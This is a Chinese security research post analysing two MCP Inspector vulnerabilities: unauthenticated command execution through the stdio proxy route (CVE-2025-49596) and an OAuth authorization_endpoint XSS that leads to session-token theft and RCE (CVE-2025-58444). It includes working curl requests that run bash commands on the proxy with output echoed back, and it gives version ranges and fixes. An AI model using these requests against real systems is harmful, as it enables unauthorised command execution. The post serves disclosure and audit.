简介

MCP Hosts 指的是运行 MCP 服务的主机或环境,claudemcp 的一张图比较清晰地介绍了 MCP 的架构及其组成。

img

MCP Inspector 是一个由 Anthropic 官方推出的专为模型上下文协议(Model Context Protocol,MCP)服务器设计的交互式开发者工具,旨在帮助开发者高效测试和调试 MCP 服务器。

MCP Inspector 在 NPM 源的累计下载量已突破百万次,近一周下载超 6 万次,被广泛用于开发,构建、测试 MCP 工具中。

image-20250913095601550

安装 MCP Inspector

MCP Inspector 使用 TyepScript 开发,需要安装 Node.js 环境,打开 Node.js 官方网站(https://nodejs.org/)下载对应操作系统的 LTS 版本进行安装。

安装完成后使用 Node.js 附带的命令行工具 npx 安装 MCP Inspector 并启动。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
❯ npx -y @modelcontextprotocol/inspector
Starting MCP inspector...
⚙️ Proxy server listening on localhost:6277
🔑 Session token: 4eb52ed7e2b7c5375e30f6ef999d011dd6537008f28ca5c6ce0e85306bfe8625
   Use this token to authenticate requests or set DANGEROUSLY_OMIT_AUTH=true to disable auth
 
🚀 MCP Inspector is up and running at:
   http://localhost:6274/?MCP_PROXY_AUTH_TOKEN=4eb52ed7e2b7c5375e30f6ef999d011dd6537008f28ca5c6ce0e85306bfe8625
 
🌐 Opening browser...

如果需要安装特定版本则在包名后加上@版本号,如npx -y @modelcontextprotocol/inspector@0.16.5

image-20250913095636967

MCP Inspector 系统架构

MCP Inspector 采用三层架构,明确区分客户端界面、代理服务器和 MCP 服务器

image-20250913095649347

其中界面默认部署在6274端口,代理默认在6277端口,开发者在界面上进行调试,实际是发送请求到6277端口,并由代理在服务端与MCP Server进行交互。

MCP Inspector 漏洞剖析

CVE-2025-49596

2025年6月27号,国外安全研究员披露了 MCP Inspector 的未授权命令执行漏洞,并写了一篇深度分析文章。 https://www.oligo.security/blog/critical-rce-vulnerability-in-anthropic-mcp-inspector-cve-2025-49596

本质是 MCP Inspector 安装 Stdio MCP Server 时允许执行任意命令。

由于缺乏身份认证机制,导致任何能访问 MCP Inspector的攻击者可通过此功能执行任意命令。

也就是开放在0.0.0.0的话,攻击者可直接构造恶意 Payload 执行系统命令。

又由于其启动端口固定,且执行安装Stdio MCP Server的请求为GET请求,缺乏CORS保护。部署在本地的情况,攻击者也可通过CSRF的方式进行攻击。

image-20250913095705788

文章给出的 Payload 较为简单,简单在服务器上创建了一个文件。

如果要对此漏洞进行检测的话,想到的应该是用命令执行OOB的方式,但还有其它更加优雅的方式吗?写文件到静态文件?

在构造命令执行时,由于命令执行错误,我发现MCP Inspector 会返回标准错误。

image-20250913095725528

我们能执行命令,是否可以利用重定向,将标准输出重定向到标准错误中,实验告诉我们确实是可以的,最终实现直接回显。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
❯ # >= 0.11.0

❯ curl "http://127.0.0.1:6277/stdio?command=%2Fbin%2Fbash&args=-c+%22whoami+%3E%262%22&transportType=stdio"

event: endpoint

data: /message?sessionId=4ab3c670-31ce-4a6d-90e3-40d476ab6073

 

event: message

data: {"jsonrpc":"2.0","method":"notifications/stderr","params":{"content":"shuipaopao\n"}}

但此路由只在 0.11.0 版本及以后可用,在 0.11.0版本以前用的是另外一个路由。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
❯ # < 0.11.0

❯ curl "http://127.0.0.1:6277/sse?command=%2Fbin%2Fbash&args=-c+%22whoami+%3E%262%22&transportType=stdio"

event: endpoint

data: /message?sessionId=a0655ec2-ba47-4a61-bcf4-6a1f623bb4b3

 

event: message

data: {"jsonrpc":"2.0","method":"notifications/stderr","params":{"content":"shuipaopao\n"}}

此变化是由于 0.11.0 开始支持 Streamable HTTP Server,官方将路由进行了拆分。

https://github.com/modelcontextprotocol/inspector/compare/0.10.2…0.11.0-amended

image-20250913095742055

让我们回到这个漏洞,该漏洞在0.14.0.1版本进行了修复,官方增加了认证机制,默认会生成一个32位的随机Session token,并限制了来源 Origin和增加 DNS 重绑定,启动默认绑定在 localhost。

https://github.com/modelcontextprotocol/inspector/compare/0.14.0…0.14.1

image-20250913095754846

CVE-2025-58444

当 MCP Inspector 连接不可信 MCP Server,在处理 OAuth 认证流程时,由于没有正确验证 MCP Server 返回的授权服务器(authorization_endpoint)地址,存在 XSS 漏洞,攻击者可通过 XSS 漏洞获取 Session token,利用安装 Stdio MCP Server 功能远程执行任意命令,获取系统权限。

也就是利用 XSS 窃取 Session Token 绕过身份认证,最后利用 Stdio MCP Server 来执行命令。

漏洞触发点实际出现在 OAuth Flow a 标签 href 属性上。

https://github.com/modelcontextprotocol/inspector/commit/650f3090d26344a672026b737d81586595bb1f60#diff-03e5dc2c619bf29423af07ec85003aea04aad5428c2db268de330cdf24d40043

image-20250913095809030

也就是实际利用需要点击,属于 1 Click RCE。

漏洞条件为 < 0.16.6 版本,先部署一个恶意的MCP Server。

恶意 MCP Server 代码:https://gist.github.com/r00tuser111/ef66e2b03bf6187f5067975df0787320,在构造发送命令执行的请求时,发现并非是简单在 GET 请求中带上 MCP_PROXY_AUTH_TOKEN 参数,Session Token 是通过 x-mcp-proxy-auth 请求头传输的。

验证代码只适配 Mac 环境,触发 XSS 后会打开计算器。

选择一个通信类型如 Steamable HTTP,不需要 connect ,点击Open Auth Settings展开再点击Quick Auth Flow进行触发。

image-20250913095821391

image-20250913095831647

效果可看 X 上的视频:https://x.com/_r00tuser/status/1966020715481829675

authorization_endpoint 这个利用点最早应该是 MCP-Remote 漏洞中的(https://jfrog.com/blog/2025-6514-critical-mcp-remote-rce-vulnerability/),而后被广大安全研究员应用挖掘。

Cherry Studio 也曾受这个影响:https://github.com/CherryHQ/cherry-studio/security/advisories/GHSA-gjp6-9cvg-8w93

Oauth 的实现应该是一个通用类库的实现,导致许多基于 Node.js 开发的MCP Hosts 都存在这个问题,我曾在 Github 通过简单的代码搜索过,发现此问题只出现在 Node.js 开发的应用中。

此漏洞的修复较为简单,官方对 authorization_endpoint 在前端展示的所有地方进行了校验,只能是 http 和 https 协议的 URL,详情参考前文的 commit 链接。

总结

基于 MCP Inspector 的历史漏洞,结合MCP-Remote,Cherry Studio等多个历史漏洞。

我们可以总结出在对MCP Hosts 的安全审计中应特别留意的两个攻击面:

  • Stdio MCP Server 安装限制不严带来的命令执行

  • Oauth 认证缺乏过滤带来的 XSS 或 RCE

随着时间的推移,安全的需求,跨平台的需求,MCP协议可能会进行各方面的扩展,势必也会带来更多的安全风险。